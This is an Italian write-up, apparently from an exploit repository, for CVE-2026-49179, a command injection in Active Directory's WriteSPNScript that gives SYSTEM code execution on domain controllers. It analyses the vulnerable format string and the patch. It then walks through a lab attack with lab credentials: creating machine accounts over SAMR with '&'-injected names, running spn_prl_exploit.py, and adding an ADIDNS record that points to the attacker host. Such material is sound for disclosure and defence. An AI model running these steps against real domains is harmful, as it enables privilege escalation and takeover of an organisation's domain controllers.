
Proof-of-concept e script di exploit per CVE-2026-49179, un'iniezione di comandi nella funzione WriteSPNScript di Active Directory che consente RCE come SYSTEM sui domain controller.
| Campo | Valore |
|---|---|
| CVE ID | CVE-2026-49179 |
| CVSS | 8.8 (AV:N/AC:L/PR:L/UI:N) |
| CWE | CWE-77 (Command Injection) |
| Componente interessato | ntdsai.dll — funzione WriteSPNScript |
| Sistemi interessati | Windows Server 2016, 2019, 2022, 2025 (pre-patch) |
| Vettore di attacco | Utente di dominio autenticato (qualsiasi) |
| Impatto | Esecuzione di codice remoto come SYSTEM sul Domain Controller |
| Pubblicato | Agosto 2026 |
La funzione WriteSPNScript in ntdsai.dll genera comandi di script batch per la correzione degli SPN (Service Principal Name) durante le operazioni di manutenzione di Active Directory. La funzione utilizza una stringa di formato per costruire i comandi repadmin.exe /writespn ma non sanifica il parametro Distinguished Name (DN), consentendo l'injection di comandi tramite il carattere & (separatore di comandi di cmd.exe).
La stringa di formato vulnerabile:
%ws\repadmin.exe /writespn %ws %ws %ws\r\n
Parametri: SystemDir, WriteOp (ADD/DELETE), DN, SPN_value
Il DN deriva dal Common Name (CN) dell'account macchina, impostato durante la creazione dell'account. Quando un account macchina viene creato con metacaratteri della shell nel suo nome, tali caratteri fluiscono senza escape nello script generato. Quando cmd.exe esegue lo script, & agisce come separatore di comandi, eseguendo comandi controllati dall'attaccante come SYSTEM.
Active Directory dispone di due protocolli principali per la gestione degli account macchina:
| Protocollo | Validazione dei caratteri | Metacaratteri della shell |
|---|---|---|
| LDAP (valori SPN) | Rigorosa — CONSTRAINT_ATT_TYPE rifiuta & ; | ' \ $ ( )` | Bloccati |
| SAMR (nomi macchina) | Perfettiva — valida il formato base del nome account | Consentiti: & ' \ $ ( ) ! spazio` |
Questa asimmetria di validazione è la causa radice:
sAMAccountName, che diventa il CN e confluisce nel DNWriteSPNScript senza sanitizzazioneAll'indirizzo 0x1802a98a0 nel binario non patchato:
void WriteSPNScript(... longlong param_4 /* DN */, longlong *param_5 /* SPNs */, ...)
{
STRSAFE_LPSTR pszDest; // ANSI output buffer
char local_288[47]; // Format: "%ws\repadmin.exe /writespn %ws %ws %ws\r\n"
WCHAR local_258[264]; // System directory
GetSystemDirectoryW(local_258, 0x104);
// Calculate buffer size (sum of all string lengths + overhead)
uVar4 = len(sysdir) + len(writeop) + len(spn_value) + len(dn) + 0x2f;
// Allocate and format — NO ESCAPING of DN or SPN parameters
pszDest = THAlloc_(param_1, 1, uVar4, 1);
StringCchPrintfA(pszDest, uVar4, local_288, local_258);
// Write to script file handle
WriteFile(handle, pszDest, len, &bytesWritten, NULL);
}
StringCchPrintfA formatta il DN direttamente nel buffer di output. Nessun escaping, nessuna quotatura, nessuna sanitizzazione.
Per una macchina con CN=A&ping attacker&B:
C:\Windows\System32\repadmin.exe /writespn ADD CN=A&ping attacker&B,CN=Computers,DC=domain,DC=local HOST/A&ping attacker&B
cmd.exe interpreta questo come cinque istruzioni separate:
| # | Istruzione | Risultato |
|---|---|---|
| 1 | C:\...\repadmin.exe /writespn ADD CN=A | Fallisce (DN troncato) |
| 2 | ping attacker | INJECTED — viene eseguito come SYSTEM |
| 3 | B,CN=Computers,DC=... HOST/A | Fallisce (non è un comando valido) |
| 4 | ping attacker | INJECTED — viene eseguito di nuovo (dal parametro SPN) |
| 5 | B | Fallisce (non è un comando valido) |
Il comando iniettato appare due volte — una dal parametro DN e una dal parametro SPN (che contiene anche il nome della macchina).
La versione corretta di WriteSPNScript (dimensione: da 1477 a 2005 byte) apporta tre modifiche:
Due nuove funzioni di sanitizzazione applicate a entrambi i parametri DN e SPN:
EscapeForPowerShellSingleQuote() — effettua l'escape di ' per impedire la fuoriuscita dalle stringhe tra apici singoliEscapeForNativeArgvBackslashesBeforeDoubleQuote() — effettua l'escape delle sequenze \ prima di " per il parsing nativo di argv| Base (vulnerabile) | Corretta | |
|---|---|---|
| Funzione | StringCchPrintfA (ANSI) | StringCchPrintfW (Wide/Unicode) |
| Quoting | Nessuno | Parametri tra apici singoli |
| Output | repadmin /writespn ADD DN SPN | repadmin /writespn ADD 'escaped_DN' 'escaped_SPN' |
Una revisione precedente aveva un feature flag Feature_Servicing_SPN_alias_WRITE_PROP_check_37148918__private_IsEnabled che controllava la correzione. Nella patch finale, questo flag è stato rimosso — la correzione è sempre attiva e non può essere disabilitata.
| Host | Ruolo | IP | OS |
|---|---|---|---|
| WINTERFELL | Domain Controller | 192.168.56.11 | Windows Server 2019 |
| Attacker | Kali Linux | 192.168.14.238 | Kali 2026 |
| Dominio | north.sevenkingdoms.local | ||
| Utente con privilegi bassi | samwell.tarly / Heartsbane | Utente di dominio normale | |
| Utente amministratore | robb.stark / sexywolfy | Amministratore di dominio |
Utilizzando spn_probe3.py, sono stati testati quali caratteri SAMR accetta nei nomi degli account macchina rispetto a quelli che LDAP accetta nei valori SPN:
SAMR Machine Name Character Test (as samwell.tarly):
[+] ACCEPTED ' (single quote) -> INJECT'A$ RID: 1123
[+] ACCEPTED ` (backtick) -> INJECT`A$ RID: 1124
[+] ACCEPTED & (ampersand) -> INJECT&A$ RID: 1125
[+] ACCEPTED $ (dollar sign) -> INJECT$A$ RID: 1126
[+] ACCEPTED ( (left paren) -> INJECT(A$ RID: 1127
[+] ACCEPTED ) (right paren) -> INJECT)A$ RID: 1128
[+] ACCEPTED ! (exclamation) -> INJECT!A$ RID: 1129
[+] ACCEPTED ' ' (space) -> INJECT A$ RID: 1130
LDAP SPN Validation (all 28 shell metacharacters tested):
[-] ALL REJECTED with constraintViolation (DSID-033E109C)
Risultato chiave: SAMR consente tutti gli 8 metacaratteri della shell testati. LDAP li blocca tutti. Il vettore di injection passa attraverso i nomi macchina creati da SAMR, non attraverso i valori SPN.
$ python3 spn_prl_exploit.py 192.168.56.11 \
-d north.sevenkingdoms.local \
-u samwell.tarly -p Heartsbane --payload benign
[*] Creating machine via SAMR: 'A&echo POC&B$'
[+] Created A&echo POC&B$, RID: 1137
Anche creato come samwell.tarly:
[+] Created C&ping a&D$, RID: 1138
Confermato: un utente di dominio normale (PR:L) può creare account macchina con iniezione di comandi & nel nome.
Gli utenti di dominio normali possono aggiungere record ADIDNS. È stato usato dnstool.py per creare un hostname breve che punta all'attaccante:
python3 dnstool.py -u 'north.sevenkingdoms.local\samwell.tarly' -p 'Heartsbane' \
-r a.north.sevenkingdoms.local -a add -d 192.168.14.238 192.168.56.11